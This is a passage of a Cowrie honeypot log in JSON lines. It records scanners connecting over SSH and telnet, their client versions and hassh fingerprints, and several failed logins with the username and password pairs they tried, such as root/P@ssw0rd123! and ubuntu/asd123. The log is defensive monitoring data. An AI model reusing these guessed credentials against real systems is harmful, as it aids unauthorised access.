t-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:53.972630Z","src_ip":"159.203.92.129","session":"1b9a00ace7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"action863467","message":"login attempt [ansible/action863467] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:53.983407Z","src_ip":"159.203.92.129","session":"1b9a00ace7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:54.988904Z","src_ip":"159.203.92.129","session":"1b9a00ace7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.3145866394043,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:55.074165Z","src_ip":"139.162.207.207","session":"3a82d7b0383e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47420,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d44d8b0770c","protocol":"telnet","message":"New connection: 172.233.212.110:47420 (10.17.0.5:23) [session: 1d44d8b0770c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:56.452058Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47436,"dst_ip":"10.17.0.5","dst_port":23,"session":"60b828c83b21","protocol":"telnet","message":"New connection: 172.233.212.110:47436 (10.17.0.5:23) [session: 60b828c83b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:56.890487Z"}
{"eventid":"cowrie.session.closed","duration":33.21159553527832,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:56.958644Z","src_ip":"172.233.212.110","session":"a8228fc20467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56766,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1449636081f","protocol":"telnet","message":"New connection: 139.162.207.207:56766 (10.17.0.5:23) [session: f1449636081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:00.115703Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51830,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d8adb90fb2","protocol":"telnet","message":"New connection: 172.233.212.110:51830 (10.17.0.5:23) [session: c8d8adb90fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:05.248569Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51814,"dst_ip":"10.17.0.5","dst_port":23,"session":"07e13abf5536","protocol":"telnet","message":"New connection: 172.233.212.110:51814 (10.17.0.5:23) [session: 07e13abf5536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:05.524816Z"}
{"eventid":"cowrie.session.closed","duration":35.517680644989014,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:06.494136Z","src_ip":"172.233.212.110","session":"0f0704bed914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45884,"dst_ip":"10.17.0.5","dst_port":23,"session":"a633a0e801ea","protocol":"telnet","message":"New connection: 139.162.207.207:45884 (10.17.0.5:23) [session: a633a0e801ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:06.884715Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51834,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4c80ad123c3","protocol":"telnet","message":"New connection: 172.233.212.110:51834 (10.17.0.5:23) [session: c4c80ad123c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:09.961768Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":44066,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ff5488342b5","protocol":"ssh","message":"New connection: 3.131.220.121:44066 (10.17.0.5:22) [session: 8ff5488342b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:10.009007Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:10.607484Z","src_ip":"3.131.220.121","session":"8ff5488342b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:10.612050Z","src_ip":"3.131.220.121","session":"8ff5488342b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":51840,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e36f3bff3a","protocol":"telnet","message":"New connection: 172.233.212.110:51840 (10.17.0.5:23) [session: c4e36f3bff3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:11.100403Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":40030,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d3f5918168","protocol":"ssh","message":"New connection: 125.31.2.160:40030 (10.17.0.5:22) [session: 90d3f5918168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:16.683131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:16.687502Z","src_ip":"125.31.2.160","session":"90d3f5918168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:16.905828Z","src_ip":"125.31.2.160","session":"90d3f5918168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41084,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab1c38ff73d9","protocol":"telnet","message":"New connection: 139.162.207.207:41084 (10.17.0.5:23) [session: ab1c38ff73d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:17.569585Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41098,"dst_ip":"10.17.0.5","dst_port":23,"session":"56727632aad2","protocol":"telnet","message":"New connection: 139.162.207.207:41098 (10.17.0.5:23) [session: 56727632aad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:17.612616Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123!","message":"login attempt [root/P@ssw0rd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:17.813209Z","src_ip":"125.31.2.160","session":"90d3f5918168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:19.033951Z","src_ip":"125.31.2.160","session":"90d3f5918168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00117826461792,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:19.664988Z","src_ip":"42.114.201.41","session":"b514fad6ad5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":1634,"dst_ip":"159.203.135.109","dst_port":23,"session":"d81333bb829a","protocol":"telnet","message":"New connection: 42.114.201.41:1634 (159.203.135.109:23) [session: d81333bb829a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:22.992080Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":41104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77b2bdaf63c","protocol":"telnet","message":"New connection: 139.162.207.207:41104 (10.17.0.5:23) [session: b77b2bdaf63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:23.484899Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57592,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92ccda7aa99","protocol":"telnet","message":"New connection: 172.233.212.110:57592 (10.17.0.5:23) [session: d92ccda7aa99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:23.802987Z"}
{"eventid":"cowrie.session.closed","duration":32.66042637825012,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:24.684258Z","src_ip":"172.233.212.110","session":"aefa8739dd4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57604,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6e1554b874","protocol":"telnet","message":"New connection: 172.233.212.110:57604 (10.17.0.5:23) [session: 9e6e1554b874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:27.188933Z"}
{"eventid":"cowrie.session.closed","duration":31.85424304008484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:28.306207Z","src_ip":"172.233.212.110","session":"1d44d8b0770c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.53839325904846,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:29.066957Z","src_ip":"172.233.212.110","session":"b7aa3dc5b172","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c7324c8363","protocol":"telnet","message":"New connection: 172.233.212.110:57610 (10.17.0.5:23) [session: 22c7324c8363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:29.285641Z"}
{"eventid":"cowrie.session.closed","duration":33.37984609603882,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:30.270201Z","src_ip":"172.233.212.110","session":"60b828c83b21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":59910,"dst_ip":"159.203.135.109","dst_port":23,"session":"366e4ddb78c5","protocol":"telnet","message":"New connection: 185.26.126.47:59910 (159.203.135.109:23) [session: 366e4ddb78c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:34.627336Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35774,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea2da958e6cf","protocol":"telnet","message":"New connection: 209.126.87.217:35774 (159.203.135.109:23) [session: ea2da958e6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:35.947113Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"851c5438e8e6","protocol":"telnet","message":"New connection: 209.126.87.217:35790 (159.203.135.109:23) [session: 851c5438e8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:36.202064Z"}
{"eventid":"cowrie.session.closed","duration":32.20575547218323,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:37.454204Z","src_ip":"172.233.212.110","session":"c8d8adb90fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24786996841431,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:37.772582Z","src_ip":"172.233.212.110","session":"07e13abf5536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":35794,"dst_ip":"159.203.135.109","dst_port":23,"session":"d03a23029912","protocol":"telnet","message":"New connection: 209.126.87.217:35794 (159.203.135.109:23) [session: d03a23029912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:37.908794Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57536,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb291de1d721","protocol":"ssh","message":"New connection: 159.203.92.129:57536 (159.203.135.109:22) [session: eb291de1d721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:39.175133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:39.179679Z","src_ip":"159.203.92.129","session":"eb291de1d721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:39.184054Z","src_ip":"159.203.92.129","session":"eb291de1d721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin","message":"login attempt [ansible/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:39.194734Z","src_ip":"159.203.92.129","session":"eb291de1d721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.19313597679138,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:39.308702Z","src_ip":"139.162.207.207","session":"f1449636081f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":60690,"dst_ip":"159.203.135.109","dst_port":23,"session":"0933789a891f","protocol":"telnet","message":"New connection: 209.126.87.217:60690 (159.203.135.109:23) [session: 0933789a891f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:40.032860Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:40.201031Z","src_ip":"159.203.92.129","session":"eb291de1d721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.297239542007446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:42.397520Z","src_ip":"172.233.212.110","session":"c4e36f3bff3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61527991294861,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:43.576926Z","src_ip":"172.233.212.110","session":"c4c80ad123c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":40598,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc5ea7e11ec","protocol":"telnet","message":"New connection: 172.233.212.110:40598 (10.17.0.5:23) [session: abc5ea7e11ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:47.363419Z"}
{"eventid":"cowrie.session.closed","duration":41.956603050231934,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:48.841185Z","src_ip":"139.162.207.207","session":"a633a0e801ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.662108421325684,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:50.231522Z","src_ip":"139.162.207.207","session":"ab1c38ff73d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.886956453323364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:53.499409Z","src_ip":"139.162.207.207","session":"56727632aad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19850444793701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:55.001397Z","src_ip":"172.233.212.110","session":"d92ccda7aa99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":51046,"dst_ip":"159.203.135.109","dst_port":23,"session":"d525fcb4c5dc","protocol":"telnet","message":"New connection: 209.126.87.217:51046 (159.203.135.109:23) [session: d525fcb4c5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:58.352566Z"}
{"eventid":"cowrie.session.closed","duration":31.24734592437744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:38:58.436198Z","src_ip":"172.233.212.110","session":"9e6e1554b874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49608,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1e5b78f5c0","protocol":"telnet","message":"New connection: 139.162.207.207:49608 (10.17.0.5:23) [session: 9c1e5b78f5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:00.769305Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":35660,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a0729569589","protocol":"ssh","message":"New connection: 37.143.61.130:35660 (159.203.135.109:22) [session: 3a0729569589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:01.582679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:01.588974Z","src_ip":"37.143.61.130","session":"3a0729569589","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:01.706927Z","src_ip":"37.143.61.130","session":"3a0729569589","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49612,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de0ddac1096","protocol":"telnet","message":"New connection: 139.162.207.207:49612 (10.17.0.5:23) [session: 5de0ddac1096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:02.781622Z"}
{"eventid":"cowrie.session.closed","duration":33.64096450805664,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:02.926520Z","src_ip":"172.233.212.110","session":"22c7324c8363","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123","message":"login attempt [ubuntu/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:03.504180Z","src_ip":"37.143.61.130","session":"3a0729569589","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.8163321018219,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:04.301031Z","src_ip":"139.162.207.207","session":"b77b2bdaf63c","protocol":"telnet"}
